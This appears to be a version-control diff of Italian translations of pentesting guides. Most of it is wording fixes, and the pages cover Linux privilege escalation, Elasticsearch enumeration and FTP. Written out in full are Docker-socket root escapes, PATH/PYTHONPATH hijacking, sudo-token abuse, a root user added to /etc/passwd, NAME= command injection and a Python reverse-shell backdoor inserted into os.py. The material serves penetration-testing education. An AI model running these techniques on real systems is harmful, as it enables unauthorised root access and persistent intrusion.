Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi.
|
||||
Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi.
|
||||
|
||||
Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
|
||||
Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -385,7 +385,7 @@ Ad esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart=
|
||||
|
||||
### Binaries di servizio scrivibili
|
||||
|
||||
Tieni presente che se hai **permessi di scrittura sui binary eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor vengano eseguite.
|
||||
Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor vengano eseguite.
|
||||
|
||||
### systemd PATH - Percorsi relativi
|
||||
|
||||
@ -405,7 +405,7 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar
|
||||
|
||||
## **Timer**
|
||||
|
||||
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
|
||||
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo calendario ed eventi di tempo monotono e possono essere eseguiti in modo asincrono.
|
||||
|
||||
Puoi enumerare tutti i timer con:
|
||||
```bash
|
||||
@ -449,12 +449,12 @@ I sockets possono essere configurati utilizzando file `.socket`.
|
||||
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo.
|
||||
- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente.
|
||||
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
|
||||
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
|
||||
|
||||
### File .socket scrivibili
|
||||
|
||||
Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\
|
||||
&#xNAN;_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_
|
||||
_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_
|
||||
|
||||
### Sockets scrivibili
|
||||
|
||||
@ -498,7 +498,7 @@ Se hai accesso in scrittura al socket Docker, puoi elevare i privilegi utilizzan
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
```
|
||||
Questi comandi ti consentono di eseguire un contenitore con accesso a livello root al file system dell'host.
|
||||
Questi comandi ti consentono di eseguire un container con accesso a livello root al file system dell'host.
|
||||
|
||||
#### **Utilizzando direttamente l'API Docker**
|
||||
|
||||
@ -510,19 +510,19 @@ Nei casi in cui il Docker CLI non sia disponibile, il socket Docker può comunqu
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
|
||||
2. **Crea un contenitore:** Invia una richiesta per creare un contenitore che monta la directory radice del sistema host.
|
||||
2. **Crea un container:** Invia una richiesta per creare un container che monta la directory root del sistema host.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
```
|
||||
|
||||
Avvia il contenitore appena creato:
|
||||
Avvia il container appena creato:
|
||||
|
||||
```bash
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
|
||||
3. **Collegati al contenitore:** Usa `socat` per stabilire una connessione al contenitore, abilitando l'esecuzione di comandi al suo interno.
|
||||
3. **Collegati al container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno.
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
@ -532,11 +532,11 @@ Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel contenitore con accesso a livello root al file system dell'host.
|
||||
Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso a livello root al file system dell'host.
|
||||
|
||||
### Altri
|
||||
|
||||
Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l'[**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l' [**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Controlla **altri modi per uscire da docker o abusarne per elevare i privilegi** in:
|
||||
|
||||
@ -732,7 +732,7 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria durante l'esecuzione dello script come root:
|
||||
Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria mentre si eseguiva lo script come root:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
@ -763,7 +763,7 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**.
|
||||
Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un binary SUID strano)**.
|
||||
|
||||
[Payload examples to execute.](payloads-to-execute.md)
|
||||
|
||||
@ -840,7 +840,7 @@ Quando si incontra un binario con permessi **SUID** che sembra insolito, è buon
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory di questo tipo)"_ suggerisce un potenziale per l'exploitation.
|
||||
Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory)"_ suggerisce un potenziale per l'exploitation.
|
||||
|
||||
Per sfruttare questo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice:
|
||||
```c
|
||||
@ -946,7 +946,7 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e un PID**.\
|
||||
Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\
|
||||
Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza bisogno di conoscere la password eseguendo:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
@ -981,7 +981,7 @@ permit nopass demo as root cmd vim
|
||||
|
||||
Se sai che un **utente di solito si connette a una macchina e utilizza `sudo`** per elevare i privilegi e hai ottenuto una shell all'interno di quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, il tuo eseguibile sudo venga eseguito.
|
||||
|
||||
Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
O eseguendo qualcosa come:
|
||||
```bash
|
||||
@ -1062,7 +1062,7 @@ Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit *
|
||||
|
||||
## ACL
|
||||
|
||||
Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Dai** all'utente "kali" permessi di lettura e scrittura su un file:
|
||||
```bash
|
||||
@ -1080,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
In **vecchie versioni** potresti **dirottare** alcune sessioni **shell** di un altro utente (**root**).\
|
||||
Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
|
||||
|
||||
### Dirottamento delle sessioni screen
|
||||
### dirottamento delle sessioni screen
|
||||
|
||||
**Elenca le sessioni screen**
|
||||
```bash
|
||||
@ -1124,7 +1124,7 @@ Controlla **Valentine box from HTB** per un esempio.
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\
|
||||
Questo bug è causato dalla creazione di una nuova chiave ssh in quegli OS, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### Valori di configurazione SSH interessanti
|
||||
|
||||
@ -1151,14 +1151,14 @@ Quella configurazione indicherà che se provi a effettuare il login con la chiav
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **verso un host** e da lì **saltare verso un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**.
|
||||
Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **verso un host** e da lì **saltare a un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**.
|
||||
|
||||
Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo:
|
||||
```
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza).
|
||||
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
|
||||
|
||||
Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
|
||||
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
|
||||
@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker
|
||||
mkpasswd -m SHA-512 hacker
|
||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
Quindi aggiungi l'utente `hacker` e aggiungi la password generata.
|
||||
Poi aggiungi l'utente `hacker` e aggiungi la password generata.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
@ -1292,7 +1292,7 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala
|
||||
### Log
|
||||
|
||||
Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\
|
||||
Inoltre, alcuni log di **audit** **"mal"** configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Inoltre, alcuni log di **audit** "mal" configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1319,7 +1319,7 @@ Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllar
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
|
||||
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o **puoi modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
|
||||
|
||||
Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
|
||||
```python
|
||||
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
```
|
||||
### Logrotate exploitation
|
||||
|
||||
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
|
||||
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
|
||||
|
||||
> [!NOTE]
|
||||
> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti
|
||||
@ -1336,7 +1336,7 @@ Informazioni più dettagliate sulla vulnerabilità possono essere trovate su que
|
||||
|
||||
Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi ottenere privilegi elevati sostituendo i log con symlink.
|
||||
Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1344,11 +1344,11 @@ Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetai
|
||||
|
||||
Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<whatever>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**.
|
||||
|
||||
Gli script di rete, _ifcg-eth0_ ad esempio, vengono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
|
||||
Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
|
||||
|
||||
Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**.
|
||||
Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**.
|
||||
|
||||
Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
NAME=Network /bin/id
|
||||
ONBOOT=yes
|
||||
@ -1408,14 +1408,14 @@ cisco-vmanage.md
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
|
||||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
|
||||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
|
||||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
|
||||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
|
||||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
|
||||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
|
||||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
|
||||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
|
||||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
|
||||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
|
||||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
|
||||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
|
||||
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||||
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
|
||||
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
|
||||
|
||||
@ -8,7 +8,7 @@ Elasticsearch è un motore di ricerca e analisi **distribuito**, **open source**
|
||||
|
||||
### Cos'è un indice Elasticsearch?
|
||||
|
||||
Un **indice** Elasticsearch è una raccolta di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.).
|
||||
Un **indice** Elasticsearch è una collezione di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.).
|
||||
|
||||
Elasticsearch utilizza una struttura dati efficiente chiamata **indice invertito** per facilitare ricerche full-text veloci. Questo indice elenca ogni parola unica nei documenti e identifica i documenti in cui appare ciascuna parola.
|
||||
|
||||
@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione HTTP basic, quindi qualsiasi cosa che possa fare BF HTTP basic auth può essere utilizzata).\
|
||||
Ecco una **lista di nomi utente predefiniti**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente.
|
||||
Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da Elasticsearch. Quindi, puoi [**provare a forzarlo**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione di base HTTP, quindi qualsiasi cosa che possa forzare l'autenticazione di base HTTP può essere utilizzata).\
|
||||
Ecco un **elenco di nomi utente predefiniti**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
### Enumerazione di Utenti di Base
|
||||
### Enumerazione di Base degli Utenti
|
||||
```bash
|
||||
#List all roles on the system:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
|
||||
@ -114,7 +114,7 @@ _Prenditi un momento per confrontare i contenuti di ciascun documento (voce) all
|
||||
|
||||
Quindi, a questo punto potresti notare che **c'è un campo chiamato "total" all'interno di "hits"** che indica che **sono stati trovati 1000 documenti** all'interno di questo indice ma solo 10 sono stati recuperati. Questo perché **per impostazione predefinita c'è un limite di 10 documenti**.\
|
||||
Ma, ora che sai che **questo indice contiene 1000 documenti**, puoi **dumpare tutti** indicando il numero di voci che vuoi dumpare nel parametro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Nota: Se indichi un numero maggiore, tutte le voci saranno comunque dumpate, ad esempio potresti indicare `size=9999` e sarebbe strano se ci fossero più voci (ma dovresti controllare)._
|
||||
\_Nota: Se indichi un numero maggiore, tutte le voci saranno comunque dumpate, ad esempio potresti indicare `size=9999` e sarebbe strano se ci fossero più voci (ma dovresti controllare)._
|
||||
|
||||
### Dump all
|
||||
|
||||
@ -129,7 +129,7 @@ Se stai cercando alcune informazioni puoi fare una **ricerca raw su tutti gli in
|
||||
|
||||
Se vuoi solo **cercare in un indice** puoi semplicemente **specificarlo** nel **percorso**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_Nota che il parametro q utilizzato per cercare contenuti **supporta le espressioni regolari**_
|
||||
_Nota che il parametro q usato per cercare contenuti **supporta le espressioni regolari**_
|
||||
|
||||
Puoi anche usare qualcosa come [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) per fuzzare un servizio elasticsearch.
|
||||
|
||||
@ -157,7 +157,7 @@ E nota le **proprietà create automaticamente**:
|
||||
|
||||
## Enumerazione Automatica
|
||||
|
||||
Al alcuni strumenti otterranno alcuni dei dati presentati prima:
|
||||
Alcuni strumenti otterranno alcuni dei dati presentati prima:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
|
||||
@ -14,9 +14,9 @@ PORT STATE SERVICE
|
||||
```
|
||||
### Connessioni Attive e Passive
|
||||
|
||||
In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **Server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP.
|
||||
In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP.
|
||||
|
||||
